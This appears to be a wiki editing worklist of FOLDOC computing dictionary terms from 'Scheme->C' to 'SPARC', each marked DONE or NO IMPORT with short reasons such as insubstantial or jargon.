Scheme-&amp;gt&lt;br&gt;C&lt;br&gt;
Scheme Library&lt;br&gt;
Scheme-Linda&lt;br&gt;
Scheme Object System&lt;br&gt;
Scheme Repository&lt;br&gt;
Scheme-to-C&lt;br&gt;
Schlaer-Mellor&lt;br&gt;
Schoonschip&lt;br&gt;
schroedinbug&lt;br&gt;
SCI&lt;br&gt;
Science and Engineering Research Council&lt;br&gt;
science-fiction fandom&lt;br&gt;
Scientific Data Systems&lt;br&gt;
SCL&lt;br&gt;
SCM&lt;br&gt;
SC/MP&lt;br&gt;
SCO&lt;br&gt;
Scode&lt;br&gt;
SCOOP&lt;br&gt;
SCOOPS&lt;br&gt;
SCOPE&lt;br&gt;
scope&lt;br&gt;
Scorpion&lt;br&gt;
Scott-closed&lt;br&gt;
Scott domain&lt;br&gt;
SCPI&lt;br&gt;
SCPI Consortium&lt;br&gt;
scram switch&lt;br&gt;
SCRAP&lt;br&gt;
scratch&lt;br&gt;
scratch disk&lt;br&gt;
scratch monkey&lt;br&gt;
Scratchpad I&lt;br&gt;
Scratchpad II&lt;br&gt;
scream and die&lt;br&gt;
Screamer&lt;br&gt;
screaming tty&lt;br&gt;
screen blanker&lt;br&gt;
Screen Peace&lt;br&gt;
screen reader&lt;br&gt;
screen refresh&lt;br&gt;
screen saver&lt;br&gt;
screen scraper&lt;br&gt;
screen sharing&lt;br&gt;
Screenwrite&lt;br&gt;
screw&lt;br&gt;
screwage&lt;br&gt;
scribble&lt;br&gt;
Scribe&lt;br&gt;
SCRIPT&lt;br&gt;
script&lt;br&gt;
Scriptics&lt;br&gt;
scripting language&lt;br&gt;
scrog&lt;br&gt;
SCROLL&lt;br&gt;
scroll&lt;br&gt;
scrollable list&lt;br&gt;
scroll bar&lt;br&gt;
scrolling&lt;br&gt;
scrool&lt;br&gt;
scrozzle&lt;br&gt;
scruffies&lt;br&gt;
SCSI&lt;br&gt;
SCSI-1&lt;br&gt;
SCSI-2&lt;br&gt;
SCSI-3&lt;br&gt;
SCSI adaptor&lt;br&gt;
SCSI controller&lt;br&gt;
SCSI ID&lt;br&gt;
SCSI initiator&lt;br&gt;
SCSI interface&lt;br&gt;
SCSI reconnect&lt;br&gt;
SCSI target&lt;br&gt;
ScumOS&lt;br&gt;
scuzzy&lt;br&gt;
SD&lt;br&gt;
sd&lt;br&gt;
SDDI&lt;br&gt;
SDE&lt;br&gt;
SDF&lt;br&gt;
SDH&lt;br&gt;
SDI&lt;br&gt;
SDK&lt;br&gt;
SDL&lt;br&gt;
SDL 92&lt;br&gt;
SDLC&lt;br&gt;
SDM&lt;br&gt;
SDMS&lt;br&gt;
SDRAM&lt;br&gt;
SDRC&lt;br&gt;
SDR-RAM&lt;br&gt;
SDR-SDRAM&lt;br&gt;
SDS&lt;br&gt;
SDS 92&lt;br&gt;
SDS 940&lt;br&gt;
SDSL&lt;br&gt;
SE&lt;br&gt;
se&lt;br&gt;
SEA&lt;br&gt;
Seagate Technology&lt;br&gt;
SEAL&lt;br&gt;
search-and-destroy mode&lt;br&gt;
search engine&lt;br&gt;
search problem&lt;br&gt;
search term&lt;br&gt;
SEC&lt;br&gt;
SECC&lt;br&gt;
SECD machine&lt;br&gt;
secondary cache&lt;br&gt;
secondary damage&lt;br&gt;
secondary key&lt;br&gt;
secondary storage&lt;br&gt;
second generation computer&lt;br&gt;
second generation language&lt;br&gt;
second level cache&lt;br&gt;
second normal form&lt;br&gt;
Second-Order Lambda-calculus&lt;br&gt;
second-system effect&lt;br&gt;
sector interleave&lt;br&gt;
sector interleaving&lt;br&gt;
sector map&lt;br&gt;
sector mapping&lt;br&gt;
Secure Multipurpose Internet Mail Extensions&lt;br&gt;
Secure Shell -- '''DONE'''&lt;br&gt;
Secure Sockets Layer&lt;br&gt;
Security Administrator's Integrated Network Tool&lt;br&gt;
Security Association&lt;br&gt;
Security Association ID&lt;br&gt;
security through obscurity '''DONE'''&lt;br&gt;
SED&lt;br&gt;
Sed&lt;br&gt;
SEE&lt;br&gt;
seek&lt;br&gt;
seeking&lt;br&gt;
seek time&lt;br&gt;
SEESAW&lt;br&gt;
see u see me&lt;br&gt;
SEGA&lt;br&gt;
segfault&lt;br&gt;
seggie&lt;br&gt;
segment&lt;br&gt;
segmentation&lt;br&gt;
segmentation and reassembly&lt;br&gt;
segmentation fault&lt;br&gt;
segmented address space&lt;br&gt;
segv&lt;br&gt;
SEI&lt;br&gt;
Seiko RC-4000&lt;br&gt;
SEL&lt;br&gt;
Selective Dissemination of Information&lt;br&gt;
selector&lt;br&gt;
Self&lt;br&gt;
Self-Extensible Language&lt;br&gt;
Self Extracting Archive&lt;br&gt;
self-reference&lt;br&gt;
selvage&lt;br&gt;
SEM&lt;br&gt;
semantic gap '''DONE'''&lt;br&gt;
semantic network&lt;br&gt;
semantics&lt;br&gt;
semaphore&lt;br&gt;
semi&lt;br&gt;
Semi-Automatic Ground Environment&lt;br&gt;
semicolon&lt;br&gt;
semiconductor&lt;br&gt;
Semidetached Mode&lt;br&gt;
SENDIT&lt;br&gt;
sendmail&lt;br&gt;
sendmail.cf&lt;br&gt;
Sendmail Inc.&lt;br&gt;
Seneca&lt;br&gt;
senior bit&lt;br&gt;
sensor&lt;br&gt;
sentence&lt;br&gt;
SE-OsdasfdffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffDP&lt;br&gt;
SEP&lt;br&gt;
SEPIA&lt;br&gt;
SEPP&lt;br&gt;
Seque&lt;br&gt;
Sequel&lt;br&gt;
Sequenced Packet Exchange&lt;br&gt;
sequencer&lt;br&gt;
[[Sequent Computer Systems|Sequent]] DONE&lt;br&gt;
sequential coding&lt;br&gt;
sequential file matching&lt;br&gt;
Sequential Parlog Machine&lt;br&gt;
sequential processing&lt;br&gt;
SERC&lt;br&gt;
SERCOS&lt;br&gt;
serial communications interface&lt;br&gt;
Serial Interface Adaptor&lt;br&gt;
serial line&lt;br&gt;
Serial Line Internet Protocol&lt;br&gt;
Serial Line IP&lt;br&gt;
serial port&lt;br&gt;
Serial Presence Detect&lt;br&gt;
serial processing&lt;br&gt;
Serial Storage Architecture&lt;br&gt;
serve&lt;br&gt;
servelet&lt;br&gt;
server&lt;br&gt;
serverlet&lt;br&gt;
Server Message Block&lt;br&gt;
server-parsed HTML&lt;br&gt;
server room&lt;br&gt;
servers&lt;br&gt;
server-side include&lt;br&gt;
service&lt;br&gt;
serviceability&lt;br&gt;
Service Access Point&lt;br&gt;
Service Advertising Protocol&lt;br&gt;
service provider&lt;br&gt;
servlet&lt;br&gt;
session&lt;br&gt;
Session Initiation Protocol&lt;br&gt;
session layer&lt;br&gt;
SES/workbench&lt;br&gt;
SET&lt;br&gt;
set&lt;br&gt;
set abstraction&lt;br&gt;
set associative cache&lt;br&gt;
set complement&lt;br&gt;
set comprehension&lt;br&gt;
Setext&lt;br&gt;
SETL&lt;br&gt;
SETL2&lt;br&gt;
SETL/E&lt;br&gt;
Set Priority Level&lt;br&gt;
SETS&lt;br&gt;
set theory&lt;br&gt;
set-top box&lt;br&gt;
SEUS&lt;br&gt;
seven layer model&lt;br&gt;
SEX&lt;br&gt;
sexadecimal&lt;br&gt;
sex changer&lt;br&gt;
SEXI&lt;br&gt;
Seymour Cray&lt;br&gt;
SFA&lt;br&gt;
SFBI&lt;br&gt;
SFD-ALGOL&lt;br&gt;
SFFA&lt;br&gt;
SFL&lt;br&gt;
SFLV&lt;br&gt;
sg&lt;br&gt;
SGCP&lt;br&gt;
SGI&lt;br&gt;
SGML&lt;br&gt;
sgmls&lt;br&gt;
SGML Tagger&lt;br&gt;
SGRAM&lt;br&gt;
sh&lt;br&gt;
SHACO&lt;br&gt;
SHADOW&lt;br&gt;
shadowing&lt;br&gt;
shadow ram&lt;br&gt;
shallow binding&lt;br&gt;
shambolic link&lt;br&gt;
Shape_VC&lt;br&gt;
ShapeTools&lt;br&gt;
shar&lt;br&gt;
sharchive&lt;br&gt;
Share and enjoy!&lt;br&gt;
shared memory&lt;br&gt;
Shared Time Repair of Big Electronic Systems&lt;br&gt;
shareware&lt;br&gt;
shar file&lt;br&gt;
sharp&lt;br&gt;
Sharp APL&lt;br&gt;
S-HDSL&lt;br&gt;
shebang&lt;br&gt;
SHEEP&lt;br&gt;
shelf&lt;br&gt;
shelfware&lt;br&gt;
SHELL&lt;br&gt;
shell&lt;br&gt;
shell out&lt;br&gt;
shell script&lt;br&gt;
shell variable&lt;br&gt;
shielded twisted pair&lt;br&gt;
SHIFT&lt;br&gt;
Shift In&lt;br&gt;
shift left logical&lt;br&gt;
Shift Out&lt;br&gt;
shift right logical&lt;br&gt;
shim&lt;br&gt;
shit hit the fan&lt;br&gt;
shitogram&lt;br&gt;
Shockwave&lt;br&gt;
shockwave&lt;br&gt;
Shockwave Flash&lt;br&gt;
shopbot&lt;br&gt;
short card&lt;br&gt;
Short Code&lt;br&gt;
shortcut&lt;br&gt;
shortest job first&lt;br&gt;
Short Message Service&lt;br&gt;
shotgun debugging&lt;br&gt;
shovelware&lt;br&gt;
Show-And-Tell&lt;br&gt;
showstopper&lt;br&gt;
shriek&lt;br&gt;
sht&lt;br&gt;
SHTF&lt;br&gt;
shtml&lt;br&gt;
Shub-Internet&lt;br&gt;
SHUG&lt;br&gt;
Shugart, Alan F.&lt;br&gt;
Shugart Associates&lt;br&gt;
Shugart Technology&lt;br&gt;
SI&lt;br&gt;
si&lt;br&gt;
SIA&lt;br&gt;
SICL&lt;br&gt;
SICS&lt;br&gt;
SICStus Prolog&lt;br&gt;
sidecar&lt;br&gt;
side-effect&lt;br&gt;
Siemens&lt;br&gt;
Siemens Nixdorf Informationssteme, AG&lt;br&gt;
Sierra&lt;br&gt;
SIFT&lt;br&gt;
SIG&lt;br&gt;
Sig&lt;br&gt;
sig&lt;br&gt;
sig block&lt;br&gt;
SIGBUS&lt;br&gt;
SIGhyper&lt;br&gt;
SIGLA&lt;br&gt;
SIGMA&lt;br&gt;
SIGNAL&lt;br&gt;
signal&lt;br&gt;
signalling rate&lt;br&gt;
Signalling System 7&lt;br&gt;
signal-to-noise ratio&lt;br&gt;
signature&lt;br&gt;
sig quote&lt;br&gt;
sig virus&lt;br&gt;
SIL&lt;br&gt;
Silage&lt;br&gt;
silicon&lt;br&gt;
silicon chip&lt;br&gt;
Silicon Graphics, Inc.&lt;br&gt;
Siliwood&lt;br&gt;
silly walk&lt;br&gt;
silo&lt;br&gt;
Silver Book&lt;br&gt;
silver bullet&lt;br&gt;
SIMAN&lt;br&gt;
SimCity&lt;br&gt;
SimCity 2000&lt;br&gt;
[[SIMD]] '''DONE'''&lt;br&gt;
Similix&lt;br&gt;
SIML/I&lt;br&gt;
SIMM&lt;br&gt;
Simone&lt;br&gt;
Simonyi, Charles&lt;br&gt;
SIMPAC&lt;br&gt;
SIMPAS&lt;br&gt;
SIMPL&lt;br&gt;
SIMPLE&lt;br&gt;
Simple Authentication and Security Layer&lt;br&gt;
Simple Gateway Control Protocol&lt;br&gt;
Simple Mail Transfer Protocol&lt;br&gt;
simple multicast protocol&lt;br&gt;
Simple Network Management Protocol&lt;br&gt;
Simple Network Management Protocol version 2&lt;br&gt;
Simple Network Paging Protocol&lt;br&gt;
Simple Object Access Protocol&lt;br&gt;
simplex&lt;br&gt;
simplex method&lt;br&gt;
simplex printer&lt;br&gt;
SIMPL/I&lt;br&gt;
Simplified Multicast Routing Protocol&lt;br&gt;
SIMPL-T&lt;br&gt;
SIMSCRIPT&lt;br&gt;
SIMSCRIPT I.5&lt;br&gt;
SIMSCRIPT II.5&lt;br&gt;
simship&lt;br&gt;
SIMULA&lt;br&gt;
SIMULA 67&lt;br&gt;
SIMULA I&lt;br&gt;
simulated annealing&lt;br&gt;
Simulating Digital Systems&lt;br&gt;
simulation&lt;br&gt;
SIMulation ANalysis&lt;br&gt;
Simulation Language for Alternative Modeling&lt;br&gt;
Simulation Oriented Language&lt;br&gt;
Simultaneous Engineering Environment&lt;br&gt;
Simultaneous Peripheral Operation On-Line&lt;br&gt;
simultaneous shipment&lt;br&gt;
Simware, Inc.&lt;br&gt;
SINA&lt;br&gt;
since time T equals minus infinity&lt;br&gt;
Sinclair, Clive&lt;br&gt;
Sinclair PC200&lt;br&gt;
Sinclair Radionics&lt;br&gt;
Sinclair Research&lt;br&gt;
sine wave&lt;br&gt;
single assignment&lt;br&gt;
Single ASsignment Language&lt;br&gt;
single-attached&lt;br&gt;
Single Connection Attach&lt;br&gt;
Single Connector Attachment&lt;br&gt;
Single Data Rate Random Access Memory&lt;br&gt;
Single Data Rate Synchronous Dynamic Random Access Memory&lt;br&gt;
Single Document Interface&lt;br&gt;
single-duplex&lt;br&gt;
Single Edge Contact&lt;br&gt;
Single Edge Contact Cartridge&lt;br&gt;
Single Edge Processor Package&lt;br&gt;
single-electron transistor '''NO IMPORT''' - insubstantial&lt;br&gt;
Single Electron Tunneling '''NO IMPORT''' - insubstantial&lt;br&gt;
Single Electron Tunneling Technology '''NO IMPORT''' - esoteric&lt;br&gt;
single ended '''NO IMPORT''' - insubstantial&lt;br&gt;
[[Autostereogram#Random_Dot_autostereogram|Single Image Random Dot Stereogram]] '''DONE'''&lt;br&gt;
single inheritance '''NO IMPORT''' - duplicate info&lt;br&gt;
Single In-line Memory Module '''NO IMPORT''' - duplicate info&lt;br&gt;
Single Inline Pin Package '''NO IMPORT''' - insubstantial&lt;br&gt;
Single Instruction Multiple Data '''NO IMPORT''' - duplicate info&lt;br&gt;
Single Instruction/Multiple Data '''NO IMPORT''' - duplicate info&lt;br&gt;
Single-line Digital Subscriber Line '''NO IMPORT''' - insubstantial&lt;br&gt;
Single-pair High Speed Digital Subscriber Line '''NO IMPORT''' - insubstantial&lt;br&gt;
single quote '''NO IMPORT''' - duplicate info&lt;br&gt;
single sourcing '''NO IMPORT''' - jargon&lt;br&gt;
singleton variable '''DONE'''&lt;br&gt;
Single Virtual Storage '''NO IMPORT''' - insubstantial&lt;br&gt;
siod '''NO IMPORT''' - esoteric&lt;br&gt;
SIP '''NO IMPORT''' - insubstantial&lt;br&gt;
SIPB '''NO IMPORT''' - insubstantial&lt;br&gt;
SIPLAN '''NO IMPORT''' - insubstantial&lt;br&gt;
SIPP '''NO IMPORT''' - insubstantial&lt;br&gt;
Siprol '''NO IMPORT''' - insubstantial&lt;br&gt;
SIR '''NO IMPORT''' - insubstantial&lt;br&gt;
SIRDS '''NO IMPORT''' - duplicate info&lt;br&gt;
Siri '''NO IMPORT''' - insubstantial&lt;br&gt;
SIRTS '''NO IMPORT''' - insubstantial&lt;br&gt;
SISAL - '''DONE'''&lt;br&gt;
sit '''NO IMPORT''' - duplicate info&lt;br&gt;
SITBOL '''NO IMPORT''' - insubstantial&lt;br&gt;
sitename - '''DONE'''&lt;br&gt;
sj '''NO IMPORT''' - insubstantial&lt;br&gt;
sk '''NO IMPORT''' - insubstantial&lt;br&gt;
Skel-ML&lt;br&gt;
Sketchpad '''NO IMPORT''' - duplicate info&lt;br&gt;
S/Key '''NO IMPORT''' - insubstantial&lt;br&gt;
Skill '''NO IMPORT''' - insubstantial&lt;br&gt;
Skim '''NO IMPORT''' - insubstantial&lt;br&gt;
SkipJack '''NO IMPORT''' - duplicate info&lt;br&gt;
SKOL '''NO IMPORT''' - insubstantial&lt;br&gt;
skolemisation '''NO IMPORT''' - jargon&lt;br&gt;
S-K reduction machine '''NO IMPORT''' - insubstantial&lt;br&gt;
skrog '''NO IMPORT''' - jargon&lt;br&gt;
SKsh '''NO IMPORT''' - insubstantial&lt;br&gt;
SKU '''NO IMPORT''' - jargon&lt;br&gt;
skulker '''NO IMPORT''' - jargon&lt;br&gt;
SL '''NO IMPORT''' - esoteric&lt;br&gt;
sl '''NO IMPORT''' - insubstantial&lt;br&gt;
SL5 '''NO IMPORT''' - insubstantial&lt;br&gt;
slack '''NO IMPORT''' - jargon&lt;br&gt;
slackware '''NO IMPORT''' - duplicate info&lt;br&gt;
SLAM '''NO IMPORT''' - insubstantial&lt;br&gt;
SLANG '''NO IMPORT''' - insubstantial&lt;br&gt;
S-Lang '''NO IMPORT''' - duplicate info&lt;br&gt;
slap on the side '''NO IMPORT''' - jargon&lt;br&gt;
slash '''NO IMPORT''' - duplicate info&lt;br&gt;
slashdot effect '''NO IMPORT''' - duplicate info&lt;br&gt;
slave tty '''NO IMPORT''' - insubstantial&lt;br&gt;
SLD resolution '''NO IMPORT''' - insubstantial&lt;br&gt;
sleep '''NO IMPORT''' - insubstantial, jargon&lt;br&gt;
SLIB '''NO IMPORT''' - insubstantial&lt;br&gt;
SLIM '''NO IMPORT''' - insubstantial&lt;br&gt;
slim '''NO IMPORT''' - insubstantial&lt;br&gt;
Slingshot '''NO IMPORT''' - esoteric&lt;br&gt;
SLIP '''DONE''' - merged with Serial line IP&lt;br&gt;
SlipKnot '''NO IMPORT''' - insubstantial&lt;br&gt;
SLIPS '''NO IMPORT''' - insubstantial&lt;br&gt;
SLiRP '''NO IMPORT''' - insubstantial&lt;br&gt;
SLLIC '''NO IMPORT''' - insubstantial&lt;br&gt;
slog '''NO IMPORT''' - insubstantial&lt;br&gt;
Sloop '''NO IMPORT''' - insubstantial&lt;br&gt;
slop '''NO IMPORT''' - jargon&lt;br&gt;
slopsucker '''NO IMPORT''' - jargon&lt;br&gt;
Slot 1 '''DONE'''&lt;br&gt;
Slot 2 '''DONE'''&lt;br&gt;
Slot A '''DONE'''&lt;br&gt;
slurp '''NO IMPORT''' - jargon&lt;br&gt;
sm '''NO IMPORT''' - insubstantial&lt;br&gt;
smail '''NO IMPORT''' - jargon&lt;br&gt;
SMALGOL '''NO IMPORT''' - insubstantial&lt;br&gt;
SMALL '''NO IMPORT''' - insubstantial&lt;br&gt;
Small-C '''NO IMPORT''' - duplicate info&lt;br&gt;
Small Computer System Interface '''NO IMPORT''' - duplicate info&lt;br&gt;
small-office/home-office '''NO IMPORT''' - jargon&lt;br&gt;
Small Outline DIMM '''DONE'''&lt;br&gt;
Smalltalk '''NO IMPORT''' - duplicate info&lt;br&gt;
Smalltalk-80 '''NO IMPORT''' - insubstantial&lt;br&gt;
Smalltalk/V '''NO IMPORT''' - insubstantial&lt;br&gt;
SmallVDM '''NO IMPORT''' - insubstantial&lt;br&gt;
SMALLWORLD '''NO IMPORT''' - insubstantial&lt;br&gt;
SmallWorld '''NO IMPORT''' - insubstantial&lt;br&gt;
Smarandache logic '''NO IMPORT''' - duplicate info&lt;br&gt;
SMART '''NO IMPORT''' - jargon&lt;br&gt;
smart '''NO IMPORT''' - jargon&lt;br&gt;
Smart Battery Data '''DONE'''&lt;br&gt;
smart card '''NO IMPORT''' - duplicate info&lt;br&gt;
Smartdrive '''NO IMPORT''' - esoteric&lt;br&gt;
SMARTdrv '''NO IMPORT''' - esoteric&lt;br&gt;
smart terminal '''NO IMPORT''' - duplicate info, obsolescent term&lt;br&gt;
smash case '''NO IMPORT''' - duplicate info&lt;br&gt;
smash sum&lt;br&gt;
smash the stack '''NO IMPORT''' - jargon&lt;br&gt;
SMB '''DONE''' - merged&lt;br&gt;
smbclient '''DONE''' - merged&lt;br&gt;
smblib '''DONE''' - merged&lt;br&gt;
SMBus '''DONE'''&lt;br&gt;
SMCC '''NO IMPORT''' - insubstantial&lt;br&gt;
SMDS '''NO IMPORT''' - insubstantial&lt;br&gt;
SMG '''NO IMPORT''' - insubstantial&lt;br&gt;
SMI '''NO IMPORT''' - insubstantial&lt;br&gt;
SMIL '''DONE''' - merged&lt;br&gt;
smiley '''NO IMPORT''' - duplicate info&lt;br&gt;
S-MIME '''NO IMPORT''' - insubstantial&lt;br&gt;
SML '''NO IMPORT''' - insubstantial&lt;br&gt;
SML# '''NO IMPORT''' - insubstantial&lt;br&gt;
sml2c '''DONE''' - merged into SML programming language&lt;br&gt;
SML/NJ '''NO IMPORT''' - insubstantial&lt;br&gt;
SMM '''NO IMPORT''' - insubstantial&lt;br&gt;
SMNP '''NO IMPORT''' - insubstantial&lt;br&gt;
smoke '''NO IMPORT''' - jargon&lt;br&gt;
smoke and mirrors '''NO IMPORT''' - jargon&lt;br&gt;
smoke-emitting diode '''NO IMPORT''' - jargon&lt;br&gt;
smoke test '''NO IMPORT''' - jargon&lt;br&gt;
smoking clover '''NO IMPORT''' - insubstantial&lt;br&gt;
SMoLCS '''NO IMPORT''' - insubstantial&lt;br&gt;
SMOP '''NO IMPORT''' - insubstantial&lt;br&gt;
SMP '''NO IMPORT''' - insubstantial&lt;br&gt;
SMPT '''NO IMPORT''' - insubstantial&lt;br&gt;
SMRP '''NO IMPORT''' - insubstantial&lt;br&gt;
SMS '''NO IMPORT''' - insubstantial&lt;br&gt;
SMT '''NO IMPORT''' - insubstantial&lt;br&gt;
SMTP '''NO IMPORT''' - duplicate info&lt;br&gt;
smurf '''NO IMPORT''' - jargon&lt;br&gt;
sn '''NO IMPORT''' - insubstantial&lt;br&gt;
SNA '''NO IMPORT''' - insubstantial&lt;br&gt;
snacc '''NO IMPORT''' - insubstantial&lt;br&gt;
snaf '''NO IMPORT''' - jargon&lt;br&gt;
SNAFU principle '''NO IMPORT''' - jargon&lt;br&gt;
snail mail '''NO IMPORT''' - jargon&lt;br&gt;
SNAP '''NO IMPORT''' - jargon&lt;br&gt;
Snappy '''NO IMPORT''' - insubstantial&lt;br&gt;
Snappy Video Snapshot '''NO IMPORT''' - insubstantial&lt;br&gt;
snarf '''NO IMPORT''' - jargon&lt;br&gt;
snarf &amp;amp; barf '''NO IMPORT''' - jargon&lt;br&gt;
snarf down '''NO IMPORT''' - jargon&lt;br&gt;
snark '''NO IMPORT''' - jargon&lt;br&gt;
sneakernet '''NO IMPORT''' - jargon&lt;br&gt;
sneck '''NO IMPORT''' - jargon&lt;br&gt;
snert '''NO IMPORT''' - jargon&lt;br&gt;
SNI '''NO IMPORT''' - insubstantial&lt;br&gt;
Sniff '''NO IMPORT''' - jargon&lt;br&gt;
sniff '''NO IMPORT''' - jargon&lt;br&gt;
sniffer '''NO IMPORT''' - insubstantial&lt;br&gt;
snivitz '''NO IMPORT''' - jargon&lt;br&gt;
SNMP '''NO IMPORT''' - duplicate info&lt;br&gt;
SNMP agent '''NO IMPORT''' - insubstantial&lt;br&gt;
SNMPv2 '''DONE''' - merged into SNMP&lt;br&gt;
SNOBOL '''NO IMPORT''' - duplicate info&lt;br&gt;
SNOBOL2 '''NO IMPORT''' - duplicate info&lt;br&gt;
SNOBOL3 '''NO IMPORT''' - duplicate info&lt;br&gt;
SNOBOL4 '''NO IMPORT''' - duplicate info&lt;br&gt;
SNOOPS '''NO IMPORT''' - insubstantial&lt;br&gt;
'Snooze '''NO IMPORT''' - jargon&lt;br&gt;
SNPP '''NO IMPORT''' - insubstantial&lt;br&gt;
SNR '''NO IMPORT''' - duplicate info&lt;br&gt;
S/N ratio '''NO IMPORT''' - duplicate info&lt;br&gt;
SO '''NO IMPORT''' - insubstantial&lt;br&gt;
so '''NO IMPORT''' - insubstantial&lt;br&gt;
SO 2 '''NO IMPORT''' - insubstantial&lt;br&gt;
SOAP '''NO IMPORT''' - insubstantial&lt;br&gt;
SOAR '''NO IMPORT''' - insubstantial&lt;br&gt;
social engineering '''NO IMPORT''' - duplicate info&lt;br&gt;
social science number '''NO IMPORT''' - jargon&lt;br&gt;
socket&lt;br&gt;
Socket 1&lt;br&gt;
Socket 2&lt;br&gt;
Socket 3&lt;br&gt;
Socket 370&lt;br&gt;
Socket 4&lt;br&gt;
Socket 5&lt;br&gt;
Socket 6&lt;br&gt;
Socket 7&lt;br&gt;
Socket 8&lt;br&gt;
SOCKS '''NO IMPORT''' - insubstantial&lt;br&gt;
SOCRATIC '''NO IMPORT''' - insubstantial&lt;br&gt;
SODA '''NO IMPORT''' - insubstantial&lt;br&gt;
SODAS '''NO IMPORT''' - insubstantial&lt;br&gt;
SO-DIMM '''NO IMPORT''' - duplicate info&lt;br&gt;
Sod's Law '''NO IMPORT''' - insubstantial&lt;br&gt;
SoftBench '''NO IMPORT''' - insubstantial&lt;br&gt;
soft boot '''NO IMPORT''' - jargon&lt;br&gt;
softcopy '''NO IMPORT''' - jargon&lt;br&gt;
Softlab '''NO IMPORT''' - insubstantial&lt;br&gt;
soft link '''NO IMPORT''' - duplicate info&lt;br&gt;
SoftModem '''NO IMPORT''' - duplicate info&lt;br&gt;
software '''NO IMPORT''' - duplicate info&lt;br&gt;
Software AG '''NO IMPORT''' - insubstantial&lt;br&gt;
software audit '''NO IMPORT''' - duplicate info&lt;br&gt;
Software BackPlane '''NO IMPORT''' - insubstantial&lt;br&gt;
software bloat '''NO IMPORT''' - jargon&lt;br&gt;
Software bus '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Description Database '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Developers Kit '''NO IMPORT''' - insubstantial&lt;br&gt;
software development life cycle '''NO IMPORT''' - duplicate info&lt;br&gt;
software enabling '''NO IMPORT''' - jargon&lt;br&gt;
software engineering '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Engineering Environment '''NO IMPORT''' - insubstantial&lt;br&gt;
software handshaking '''NO IMPORT''' - insubstantial&lt;br&gt;
software interrupt'''NO IMPORT''' - duplicate info&lt;br&gt;
software laser '''NO IMPORT''' - jargon&lt;br&gt;
software law '''DONE'''&lt;br&gt;
software life-cycle '''NO IMPORT''' - duplicate info&lt;br&gt;
Software Method '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Methodology '''NO IMPORT''' - insubstantial&lt;br&gt;
software metric '''NO IMPORT''' - insubstantial&lt;br&gt;
software patent '''NO IMPORT''' - duplicate info&lt;br&gt;
software piracy '''NO IMPORT''' - duplicate info&lt;br&gt;
software pirate '''NO IMPORT''' - duplicate info&lt;br&gt;
Software Practice and Experience '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Productivity Centre '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Publishing Corporation '''NO IMPORT''' - insubstantial&lt;br&gt;
software reliability '''NO IMPORT''' - insubstantial&lt;br&gt;
software rot '''NO IMPORT''' - jargon&lt;br&gt;
software theft '''DONE'''&lt;br&gt;
Software through Pictures '''NO IMPORT''' - insubstantial&lt;br&gt;
software tool '''NO IMPORT''' - insubstantial&lt;br&gt;
Software Verification Research Centre '''NO IMPORT''' - insubstantial&lt;br&gt;
softwarily '''NO IMPORT''' - jargon&lt;br&gt;
softy '''NO IMPORT''' - jargon&lt;br&gt;
SOH '''NO IMPORT''' - insubstantial&lt;br&gt;
SOHIO '''NO IMPORT''' - insubstantial&lt;br&gt;
SoHo '''NO IMPORT''' - insubstantial&lt;br&gt;
SOIF '''NO IMPORT''' - esoteric&lt;br&gt;
SOJ '''NO IMPORT''' - insubstantial&lt;br&gt;
SOL '''NO IMPORT''' - insubstantial&lt;br&gt;
Solaris '''NO IMPORT''' - duplicate info&lt;br&gt;
Solaris Operating Environment '''NO IMPORT''' - not in FOLDOC?&lt;br&gt;
solid-state storage device&lt;br&gt;
SOLO '''NO IMPORT''' - insubstantial&lt;br&gt;
solution '''NO IMPORT''' - jargon&lt;br&gt;
Solution Based Modelling '''NO IMPORT''' - insubstantial&lt;br&gt;
Solve '''NO IMPORT''' - insubstantial&lt;br&gt;
SOM '''NO IMPORT''' - insubstantial&lt;br&gt;
Somar DumpAcl '''NO IMPORT''' - insubstantial&lt;br&gt;
Somar Software '''NO IMPORT''' - insubstantial&lt;br&gt;
some random X '''NO IMPORT''' - jargon&lt;br&gt;
Sonata '''NO IMPORT''' - insubstantial&lt;br&gt;
SONET '''NO IMPORT''' - duplicate info&lt;br&gt;
Sony Playstation '''NO IMPORT''' - duplicate info&lt;br&gt;
SORCERER '''NO IMPORT'' - esoteric&lt;br&gt;
sorcerer's apprentice mode '''NO IMPORT''' - jargon&lt;br&gt;
sort '''NO IMPORT''' - duplicate info&lt;br&gt;
sorting '''NO IMPORT''' - insubstantial&lt;br&gt;
SOS '''NO IMPORT''' - jargon&lt;br&gt;
sound '''NO IMPORT''' - insubstantial&lt;br&gt;
Sound Blaster '''NO IMPORT''' - insubstantial&lt;br&gt;
sound card '''NO IMPORT''' - insubstantial&lt;br&gt;
soundex '''NO IMPORT''' - duplicate info&lt;br&gt;
source '''NO IMPORT''' - duplicate info&lt;br&gt;
source code '''NO IMPORT''' - duplicate info&lt;br&gt;
source code escrow '''NO IMPORT''' - insubstantial&lt;br&gt;
source language '''NO IMPORT''' - duplicate info&lt;br&gt;
source of all good bits '''NO IMPORT''' - jargon&lt;br&gt;
source package '''NO IMPORT''' - insubstantial&lt;br&gt;
source route '''NO IMPORT''' - esoteric&lt;br&gt;
source routing '''NO IMPORT''' - esoteric&lt;br&gt;
southbridge '''NO IMPORT''' - duplicate info&lt;br&gt;
SP '''NO IMPORT''' - insubstantial&lt;br&gt;
SP2 '''NO IMPORT''' - out-of-date&lt;br&gt;
SP/2 '''NO IMPORT''' - out-of-date&lt;br&gt;
space '''NO IMPORT''' - insubstantial&lt;br&gt;
space-cadet keyboard '''DONE'''&lt;br&gt;
space complexity '''NO IMPORT''' - insubstantial&lt;br&gt;
space leak&lt;br&gt;
SPACEWAR '''NO IMPORT''' - duplicate info&lt;br&gt;
SPADE '''NO IMPORT''' - insubstantial&lt;br&gt;
spaghetti code '''NO IMPORT''' - jargon&lt;br&gt;
spaghetti inheritance '''NO IMPORT''' - jargon&lt;br&gt;
spam '''NO IMPORT''' - duplicate info&lt;br&gt;
spamdex '''NO IMPORT''' - jargon&lt;br&gt;
spamming '''NO IMPORT''' - duplicate info&lt;br&gt;
spanning tree algorithm '''NO IMPORT''' - insubstantial&lt;br&gt;
SPAR '''NO IMPORT''' - insubstantial&lt;br&gt;
SPARC '''NO IMPORT''' - duplicate info&lt;br&gt;
SPARC International, Inc. '''NO IMPORT''' - merged with SPARC&lt;br&gt;
